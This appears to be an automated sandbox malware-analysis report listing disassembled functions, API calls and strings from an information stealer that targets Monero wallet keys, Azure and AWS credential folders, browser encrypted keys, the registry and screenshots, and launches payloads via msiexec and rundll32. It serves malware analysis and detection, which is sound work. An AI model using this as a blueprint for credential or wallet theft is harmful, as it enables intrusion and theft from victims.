Part of subcall function 00B18B60: GetSystemTime.KERNEL32(00B20E1A,011FA058,00B205AE,?,?,00B013F9,?,0000001A,00B20E1A,00000000,?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B18B86

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B0CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B0D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00B0D0CE
lstrcat.KERNEL32(?,00000000), ref: 00B0D208
lstrcat.KERNEL32(?,00B21478), ref: 00B0D217
lstrcat.KERNEL32(?,00000000), ref: 00B0D22A
lstrcat.KERNEL32(?,00B2147C), ref: 00B0D239
lstrcat.KERNEL32(?,00000000), ref: 00B0D24C
lstrcat.KERNEL32(?,00B21480), ref: 00B0D25B
lstrcat.KERNEL32(?,00000000), ref: 00B0D26E
lstrcat.KERNEL32(?,00B21484), ref: 00B0D27D
lstrcat.KERNEL32(?,00000000), ref: 00B0D290
lstrcat.KERNEL32(?,00B21488), ref: 00B0D29F
lstrcat.KERNEL32(?,00000000), ref: 00B0D2B2
lstrcat.KERNEL32(?,00B2148C), ref: 00B0D2C1
lstrcat.KERNEL32(?,00000000), ref: 00B0D2D4
lstrcat.KERNEL32(?,00B21490), ref: 00B0D2E3

Part of subcall function 00B1A820: lstrlen.KERNEL32(00B04F05,?,?,00B04F05,00B20DDE), ref: 00B1A82B
Part of subcall function 00B1A820: lstrcpy.KERNEL32(00B20DDE,00000000), ref: 00B1A885

lstrlen.KERNEL32(?), ref: 00B0D32A
lstrlen.KERNEL32(?), ref: 00B0D339

Part of subcall function 00B1AA70: StrCmpCA.SHLWAPI(011F88D0,00B0A7A7,?,00B0A7A7,011F88D0), ref: 00B1AA8F

DeleteFileA.KERNEL32(00000000), ref: 00B0D3B4

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 569c277744bde8212cfcfc91163c1950458034812eb6fd63854ae20e7443e100
Instruction ID: 7450e8a351d6e99a8cb50bfa0afd020904465e49d959b84cd462f7e881557b62
Opcode Fuzzy Hash: 569c277744bde8212cfcfc91163c1950458034812eb6fd63854ae20e7443e100
Instruction Fuzzy Hash: FAE14D75951208ABCB04EFA4DD96EEE73B8AF14300F504198F106B61A1DE35BE46CB72

Function 00B0C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,011FCD68,00000000,?,00B2144C,00000000,?,?), ref: 00B0CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00B0CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00B0CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B0CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00B0CAD9
StrStrA.SHLWAPI(?,011FCD38,00B20B52), ref: 00B0CAF7
StrStrA.SHLWAPI(00000000,011FCB10), ref: 00B0CB1E
StrStrA.SHLWAPI(?,011FD5B8,00000000,?,00B21458,00000000,?,00000000,00000000,?,011F8970,00000000,?,00B21454,00000000,?), ref: 00B0CCA2
StrStrA.SHLWAPI(00000000,011FD618), ref: 00B0CCB9

Part of subcall function 00B0C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B0C871
Part of subcall function 00B0C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B0C87C

StrStrA.SHLWAPI(?,011FD618,00000000,?,00B2145C,00000000,?,00000000,011F8980), ref: 00B0CD5A
StrStrA.SHLWAPI(00000000,011F8B40), ref: 00B0CD71

Part of subcall function 00B0C820: lstrcat.KERNEL32(?,00B20B46), ref: 00B0C943
Part of subcall function 00B0C820: lstrcat.KERNEL32(?,00B20B47), ref: 00B0C957
Part of subcall function 00B0C820: lstrcat.KERNEL32(?,00B20B4E), ref: 00B0C978

lstrlen.KERNEL32(00000000), ref: 00B0CE44
CloseHandle.KERNEL32(00000000), ref: 00B0CE9C

Strings

, xrefs: 00B0C9C6

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 8b052b20a013552cedf915b613f93454a0043e4aa203aff90284049ce9cefedf
Instruction ID: c0c0dba986daa7a12d9d38939b7f83f1df58dfc73be4ebd140a73c86b7c47b6d
Opcode Fuzzy Hash: 8b052b20a013552cedf915b613f93454a0043e4aa203aff90284049ce9cefedf
Instruction Fuzzy Hash: BFE1FD71911108ABDB14EFA4DD95FEEB7B8AF14310F804199F106B7191EF347A8ACB62

Function 00B18320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

RegOpenKeyExA.ADVAPI32(00000000,011FAEE0,00000000,00020019,00000000,00B205B6), ref: 00B183A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B18426
wsprintfA.USER32 ref: 00B18459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00B1847B
RegCloseKey.ADVAPI32(00000000), ref: 00B1848C
RegCloseKey.ADVAPI32(00000000), ref: 00B18499

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Strings

?, xrefs: 00B1837A
- , xrefs: 00B185A3
%s\%s, xrefs: 00B1844D

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 98c26fb521ea26169731362a9d260122213bc4fe056e4c804d3ee3a5e9eaec7a
Instruction ID: 17690fe71687ca02d6275baa62d918bb4cb244e0817d0534bab51b11251bebd0
Opcode Fuzzy Hash: 98c26fb521ea26169731362a9d260122213bc4fe056e4c804d3ee3a5e9eaec7a
Instruction Fuzzy Hash: 64811871951218ABEB24DF54CD95FEAB7B8FB08710F4082D9E109A6180DF716BC6CFA1

Function 00B14D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B18E0B

lstrcat.KERNEL32(?,00000000), ref: 00B14DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00B14DCD

Part of subcall function 00B14910: wsprintfA.USER32 ref: 00B1492C
Part of subcall function 00B14910: FindFirstFileA.KERNEL32(?,?), ref: 00B14943

lstrcat.KERNEL32(?,00000000), ref: 00B14E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00B14E59

Part of subcall function 00B14910: StrCmpCA.SHLWAPI(?,00B20FDC), ref: 00B14971
Part of subcall function 00B14910: StrCmpCA.SHLWAPI(?,00B20FE0), ref: 00B14987
Part of subcall function 00B14910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B14B7D
Part of subcall function 00B14910: FindClose.KERNEL32(000000FF), ref: 00B14B92

lstrcat.KERNEL32(?,00000000), ref: 00B14EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00B14EE5

Part of subcall function 00B14910: wsprintfA.USER32 ref: 00B149B0
Part of subcall function 00B14910: StrCmpCA.SHLWAPI(?,00B208D2), ref: 00B149C5
Part of subcall function 00B14910: wsprintfA.USER32 ref: 00B149E2
Part of subcall function 00B14910: PathMatchSpecA.SHLWAPI(?,?), ref: 00B14A1E
Part of subcall function 00B14910: lstrcat.KERNEL32(?,011FE280), ref: 00B14A4A
Part of subcall function 00B14910: lstrcat.KERNEL32(?,00B20FF8), ref: 00B14A5C
Part of subcall function 00B14910: lstrcat.KERNEL32(?,?), ref: 00B14A70
Part of subcall function 00B14910: lstrcat.KERNEL32(?,00B20FFC), ref: 00B14A82
Part of subcall function 00B14910: lstrcat.KERNEL32(?,?), ref: 00B14A96
Part of subcall function 00B14910: CopyFileA.KERNEL32(?,?,00000001), ref: 00B14AAC
Part of subcall function 00B14910: DeleteFileA.KERNEL32(?), ref: 00B14B31

Strings

*.*, xrefs: 00B14E64
\.aws\, xrefs: 00B14E4D
Azure\.aws, xrefs: 00B14E5F
Azure\.IdentityService, xrefs: 00B14EEB
\.IdentityService\, xrefs: 00B14ED9
msal.cache, xrefs: 00B14EF0
Azure\.azure, xrefs: 00B14DD3
*.*, xrefs: 00B14DD8
\.azure\, xrefs: 00B14DC1

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: de01544ddf7c3863f9a2481a090df386e9ceccc2f4e53ec0d9b20f24f97808b9
Instruction ID: ddcc82a8d76fcd76676fde6d4cf87b06612e021ebc5821db6d235638f10da17c
Opcode Fuzzy Hash: de01544ddf7c3863f9a2481a090df386e9ceccc2f4e53ec0d9b20f24f97808b9
Instruction Fuzzy Hash: A44195BA94031467DB14F770EC47FEE37B8AB24700F4049D4B249A61C1EEB45BC98BA2

Function 00B19010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00B1906C

Strings

image/jpeg, xrefs: 00B19136

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: cf9dfe9fadd5b300fc636d9771ba3fbf7a397ac8291131618cb4efda57a135f0
Instruction ID: c07713a9d34b503b5a2829f441b893c689999510ea096bba94c8f71d1cc73342
Opcode Fuzzy Hash: cf9dfe9fadd5b300fc636d9771ba3fbf7a397ac8291131618cb4efda57a135f0
Instruction Fuzzy Hash: 1A71FB75A50208ABDB14DFE8DC99FEEB7B8FB48300F508548F515EB290DB34A945CB61

Function 00B12E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

ShellExecuteEx.SHELL32(0000003C), ref: 00B131C5
ShellExecuteEx.SHELL32(0000003C), ref: 00B1335D
ShellExecuteEx.SHELL32(0000003C), ref: 00B134EA

Strings

.dll, xrefs: 00B131E5
/i ", xrefs: 00B133E4
<, xrefs: 00B13490
/passive, xrefs: 00B1345B
C:\Windows\system32\msiexec.exe, xrefs: 00B134BF
C:\Windows\system32\rundll32.exe, xrefs: 00B13332
.msi, xrefs: 00B13398
"" , xrefs: 00B1309A

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 43fe909789b7dc43659caa13511f4b8bf089a42b19b88e114b2236f0a9fca773
Instruction ID: 7bb19d02a20cfde6e71349503514b664f3637a4f450ee8e2f711a5aabe20204f
Opcode Fuzzy Hash: 43fe909789b7dc43659caa13511f4b8bf089a42b19b88e114b2236f0a9fca773
Instruction Fuzzy Hash: 2812FD718111089ADB19FBA0DD92FEEB7B8AF14310F904199E50676191EF347BCACF62

Function 00B152C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B06280: InternetOpenA.WININET(00B20DFE,00000001,00000000,00000000,00000000), ref: 00B062E1
Part of subcall function 00B06280: StrCmpCA.SHLWAPI(?,011FE3D0), ref: 00B06303
Part of subcall function 00B06280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B06335
Part of subcall function 00B06280: HttpOpenRequestA.WININET(00000000,GET,?,011FDD60,00000000,00000000,00400100,00000000), ref: 00B06385
Part of subcall function 00B06280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B063BF
Part of subcall function 00B06280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B063D1

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B15318
lstrlen.KERNEL32(00000000), ref: 00B1532F

Part of subcall function 00B18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B18E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00B15364
lstrlen.KERNEL32(00000000), ref: 00B15383
lstrlen.KERNEL32(00000000), ref: 00B153AE

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Strings

ERROR, xrefs: 00B15432
ERROR, xrefs: 00B154A9
ERROR, xrefs: 00B1546F
ERROR, xrefs: 00B1530A
ERROR, xrefs: 00B153B9

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 8ff83af3f92c61ee2b66e85e0baee734a60f29cc9361f37121531ce4a717a0a9
Instruction ID: 29f432880e8927857f0760898773167f360855b3e072e71101a8c18c7190a94c
Opcode Fuzzy Hash: 8ff83af3f92c61ee2b66e85e0baee734a60f29cc9361f37121531ce4a717a0a9
Instruction Fuzzy Hash: F0510E30911148DBCB18FF64DD96AEE77B9EF50310F904498F40AAA591DF347B86CB62

Function 00B112D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 4bf50a0f88daec25723ca18ebae2ba638f3b27ac2a632c816aaba4b87f995e6e
Instruction ID: 72851ade2cde3ff01ea18189e1d33499d095d02f34d3887b88f2b75f44de38d0
Opcode Fuzzy Hash: 4bf50a0f88daec25723ca18ebae2ba638f3b27ac2a632c816aaba4b87f995e6e
Instruction Fuzzy Hash: F0C1B4B59412199BCB14EF60DC89FEA73B8BF54300F4045D8F50AA7281EA70AAC5CFA1

Function 00B14280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B18E0B

lstrcat.KERNEL32(?,00000000), ref: 00B142EC
lstrcat.KERNEL32(?,011FDC28), ref: 00B1430B
lstrcat.KERNEL32(?,?), ref: 00B1431F
lstrcat.KERNEL32(?,011FCBA0), ref: 00B14333

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B18D90: GetFileAttributesA.KERNEL32(00000000,?,00B01B54,?,?,00B2564C,?,?,00B20E1F), ref: 00B18D9F

Part of subcall function 00B09CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B09D39

Part of subcall function 00B099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B099EC
Part of subcall function 00B099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B09A11
Part of subcall function 00B099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B09A31
